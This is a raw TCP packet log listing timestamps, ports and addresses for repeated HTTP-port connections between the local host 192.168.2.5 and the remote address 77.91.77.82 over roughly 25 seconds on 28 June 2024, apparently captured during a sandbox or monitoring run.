Jun 28, 2024 13:38:22.528465033 CEST	80	49855	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:22.530002117 CEST	49855	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:22.530978918 CEST	80	49856	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:22.533988953 CEST	49856	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:22.535562038 CEST	49856	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:22.540559053 CEST	80	49856	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:23.206182957 CEST	80	49856	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:23.206305981 CEST	49856	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.209511042 CEST	49857	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.209512949 CEST	49856	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.214287996 CEST	80	49857	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:23.214744091 CEST	80	49856	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:23.215950012 CEST	49857	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.215960026 CEST	49856	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.216286898 CEST	49857	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.221024990 CEST	80	49857	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:23.222958088 CEST	49857	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.335730076 CEST	49858	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.340543985 CEST	80	49858	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:23.340658903 CEST	49858	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.340914011 CEST	49858	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:23.346261978 CEST	80	49858	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.034285069 CEST	80	49858	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.034348965 CEST	49858	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.039491892 CEST	49858	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.039860010 CEST	49859	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.045061111 CEST	80	49859	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.045113087 CEST	80	49858	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.045136929 CEST	49859	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.045182943 CEST	49858	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.045444012 CEST	49859	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.050182104 CEST	80	49859	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.736852884 CEST	80	49859	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.737073898 CEST	49859	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.851831913 CEST	49859	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.853909969 CEST	49860	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.857204914 CEST	80	49859	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.857601881 CEST	49859	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.858762026 CEST	80	49860	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:24.859008074 CEST	49860	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.859530926 CEST	49860	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:24.864612103 CEST	80	49860	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:25.535490990 CEST	80	49860	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:25.535550117 CEST	49860	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:25.539467096 CEST	49860	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:25.539989948 CEST	49861	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:25.545733929 CEST	80	49861	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:25.545826912 CEST	49861	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:25.545867920 CEST	80	49860	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:25.545933962 CEST	49860	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:25.546287060 CEST	49861	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:25.551045895 CEST	80	49861	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:26.243890047 CEST	80	49861	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:26.243999004 CEST	49861	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:26.351883888 CEST	49862	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:26.351883888 CEST	49861	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:26.356698036 CEST	80	49862	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:26.357214928 CEST	80	49861	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:26.360007048 CEST	49862	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:26.360007048 CEST	49861	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:26.363887072 CEST	49862	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:26.370419979 CEST	80	49862	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:27.239850998 CEST	80	49862	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:27.239959955 CEST	49862	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:27.243887901 CEST	49862	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:27.243894100 CEST	49863	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:27.249208927 CEST	80	49863	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:27.249315023 CEST	49863	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:27.249511957 CEST	80	49862	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:27.249633074 CEST	49863	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:27.249640942 CEST	49862	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:27.254887104 CEST	80	49863	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:27.938535929 CEST	80	49863	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:27.938648939 CEST	49863	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.055433035 CEST	49863	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.056024075 CEST	49864	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.060741901 CEST	80	49863	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:28.060803890 CEST	49863	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.060833931 CEST	80	49864	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:28.060899019 CEST	49864	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.061078072 CEST	49864	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.065773964 CEST	80	49864	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:28.764535904 CEST	80	49864	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:28.764667034 CEST	49864	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.769913912 CEST	49864	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.769958019 CEST	49865	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.774780989 CEST	80	49865	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:28.775007963 CEST	49865	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.775108099 CEST	80	49864	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:28.775285959 CEST	49864	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.775285959 CEST	49865	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:28.780060053 CEST	80	49865	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:29.445332050 CEST	80	49865	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:29.445394993 CEST	49865	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:29.556529999 CEST	49865	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:29.557044983 CEST	49866	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:29.561846018 CEST	80	49866	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:29.561901093 CEST	80	49865	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:29.561923027 CEST	49866	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:29.561970949 CEST	49865	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:29.562633991 CEST	49866	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:29.567621946 CEST	80	49866	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:30.230897903 CEST	80	49866	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:30.230957031 CEST	49866	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:30.235219955 CEST	49866	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:30.235584974 CEST	49867	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:30.240715027 CEST	80	49867	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:30.240792990 CEST	49867	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:30.241256952 CEST	80	49866	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:30.241306067 CEST	49866	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:30.281537056 CEST	49867	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:30.288139105 CEST	80	49867	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:30.930067062 CEST	80	49867	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:30.932105064 CEST	49867	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.039153099 CEST	49867	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.039174080 CEST	49868	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.044111967 CEST	80	49868	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:31.044431925 CEST	80	49867	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:31.048022985 CEST	49867	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.048026085 CEST	49868	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.051462889 CEST	49868	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.056288958 CEST	80	49868	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:31.728414059 CEST	80	49868	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:31.728506088 CEST	49868	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.732795954 CEST	49868	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.733206987 CEST	49869	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.737889051 CEST	80	49868	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:31.737936974 CEST	49868	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.737945080 CEST	80	49869	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:31.738010883 CEST	49869	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.738116026 CEST	49869	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:31.742867947 CEST	80	49869	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:32.435683966 CEST	80	49869	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:32.438900948 CEST	49869	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:32.554899931 CEST	49869	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:32.554899931 CEST	49870	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:32.559942961 CEST	80	49870	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:32.560872078 CEST	80	49869	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:32.564074039 CEST	49869	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:32.564074039 CEST	49870	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:32.566912889 CEST	49870	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:32.571839094 CEST	80	49870	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:33.240190983 CEST	80	49870	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:33.242000103 CEST	49870	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:33.247888088 CEST	49870	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:33.247899055 CEST	49871	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:33.252827883 CEST	80	49871	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:33.252963066 CEST	49871	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:33.253097057 CEST	49871	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:33.253379107 CEST	80	49870	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:33.253698111 CEST	49870	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:33.257951021 CEST	80	49871	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.102787971 CEST	80	49871	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.102857113 CEST	49871	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.211421967 CEST	49871	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.211994886 CEST	49872	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.218843937 CEST	80	49872	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.218857050 CEST	80	49871	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.218914986 CEST	49872	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.218950987 CEST	49871	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.219134092 CEST	49872	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.225960016 CEST	80	49872	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.907623053 CEST	80	49872	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.907824039 CEST	49872	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.911048889 CEST	49872	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.911565065 CEST	49873	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.919584990 CEST	80	49872	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.919893026 CEST	49872	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.919967890 CEST	80	49873	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:34.921057940 CEST	49873	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.921221972 CEST	49873	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:34.929672003 CEST	80	49873	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:35.607901096 CEST	80	49873	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:35.607970953 CEST	49873	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:35.728929996 CEST	49873	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:35.729327917 CEST	49874	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:35.734183073 CEST	80	49874	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:35.734219074 CEST	80	49873	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:35.734252930 CEST	49874	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:35.734283924 CEST	49873	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:35.734561920 CEST	49874	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:35.739372015 CEST	80	49874	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:36.420523882 CEST	80	49874	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:36.422559023 CEST	49874	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:36.425900936 CEST	49874	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:36.425909996 CEST	49875	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:36.431731939 CEST	80	49875	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:36.432240009 CEST	80	49874	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:36.434007883 CEST	49874	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:36.434009075 CEST	49875	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:36.446046114 CEST	49875	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:36.451004028 CEST	80	49875	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.122584105 CEST	80	49875	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.124114990 CEST	49875	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.241882086 CEST	49875	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.242371082 CEST	49876	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.247322083 CEST	80	49875	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.247371912 CEST	80	49876	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.247504950 CEST	49876	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.247507095 CEST	49875	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.247807026 CEST	49876	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.255692005 CEST	80	49876	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.926403999 CEST	80	49876	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.926501989 CEST	49876	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.931132078 CEST	49876	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.931674957 CEST	49877	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.936630964 CEST	80	49877	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.936703920 CEST	49877	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.936831951 CEST	49877	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.938851118 CEST	80	49876	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:37.938951969 CEST	49876	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:37.941644907 CEST	80	49877	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:38.650108099 CEST	80	49877	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:38.650245905 CEST	49877	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:38.759898901 CEST	49878	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:38.759898901 CEST	49877	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:38.765126944 CEST	80	49878	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:38.765252113 CEST	49878	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:38.765650034 CEST	80	49877	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:38.765680075 CEST	49878	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:38.765883923 CEST	49877	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:38.770539045 CEST	80	49878	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:39.433511972 CEST	80	49878	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:39.433576107 CEST	49878	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:39.437484980 CEST	49878	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:39.437975883 CEST	49879	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:39.442737103 CEST	80	49878	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:39.442791939 CEST	49878	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:39.442795992 CEST	80	49879	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:39.442878962 CEST	49879	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:39.443032026 CEST	49879	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:39.447839975 CEST	80	49879	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.138731956 CEST	80	49879	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.138834000 CEST	49879	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.259110928 CEST	49879	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.259527922 CEST	49880	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.264476061 CEST	80	49879	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.264506102 CEST	80	49880	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.264544010 CEST	49879	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.264597893 CEST	49880	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.264872074 CEST	49880	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.269691944 CEST	80	49880	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.929533958 CEST	80	49880	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.929897070 CEST	49880	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.933124065 CEST	49881	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.933125973 CEST	49880	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.938009024 CEST	80	49881	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.938349962 CEST	80	49880	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:40.940032959 CEST	49881	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.940037966 CEST	49880	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.943893909 CEST	49881	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:40.948714972 CEST	80	49881	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:41.626923084 CEST	80	49881	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:41.626991034 CEST	49881	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:41.742676973 CEST	49881	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:41.743172884 CEST	49882	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:41.748413086 CEST	80	49881	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:41.748470068 CEST	49881	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:41.748547077 CEST	80	49882	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:41.748610020 CEST	49882	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:41.748867989 CEST	49882	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:41.753583908 CEST	80	49882	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:42.414336920 CEST	80	49882	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:42.418979883 CEST	49882	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:42.418979883 CEST	49882	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:42.419897079 CEST	49883	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:42.424344063 CEST	80	49882	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:42.425066948 CEST	80	49883	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:42.428035021 CEST	49882	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:42.428035021 CEST	49883	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:42.428611040 CEST	49883	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:42.433734894 CEST	80	49883	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.108479023 CEST	80	49883	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.108730078 CEST	49883	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.225967884 CEST	49884	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.225965977 CEST	49883	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.230906963 CEST	80	49884	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.231307030 CEST	80	49883	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.232044935 CEST	49883	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.232044935 CEST	49884	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.235891104 CEST	49884	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.240747929 CEST	80	49884	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.906725883 CEST	80	49884	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.906800032 CEST	49884	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.916533947 CEST	49884	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.917027950 CEST	49885	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.921915054 CEST	80	49884	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.921931028 CEST	80	49885	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:43.921972990 CEST	49884	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.922036886 CEST	49885	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.922184944 CEST	49885	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:43.926959991 CEST	80	49885	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:44.618843079 CEST	80	49885	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:44.619971991 CEST	49885	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:44.727889061 CEST	49885	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:44.727889061 CEST	49886	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:44.732845068 CEST	80	49886	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:44.732975006 CEST	49886	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:44.733159065 CEST	80	49885	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:44.733362913 CEST	49885	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:44.733362913 CEST	49886	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:44.738209009 CEST	80	49886	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:45.400110006 CEST	80	49886	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:45.400176048 CEST	49886	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:45.404140949 CEST	49886	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:45.405026913 CEST	49887	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:45.409540892 CEST	80	49886	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:45.409603119 CEST	49886	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:45.409750938 CEST	80	49887	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:45.409816980 CEST	49887	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:45.425230026 CEST	49887	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:45.430031061 CEST	80	49887	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.097596884 CEST	80	49887	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.097687960 CEST	49887	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.211338043 CEST	49887	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.211766958 CEST	49888	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.216692924 CEST	80	49888	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.216758966 CEST	49888	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.216814041 CEST	80	49887	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.216867924 CEST	49887	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.217010021 CEST	49888	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.221798897 CEST	80	49888	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.889043093 CEST	80	49888	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.891768932 CEST	49888	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.896035910 CEST	49888	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.896667957 CEST	49889	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.901398897 CEST	80	49888	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.901484966 CEST	49888	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.901529074 CEST	80	49889	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:46.901845932 CEST	49889	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.902147055 CEST	49889	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:46.906922102 CEST	80	49889	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:47.574393988 CEST	80	49889	77.91.77.82	192.168.2.5
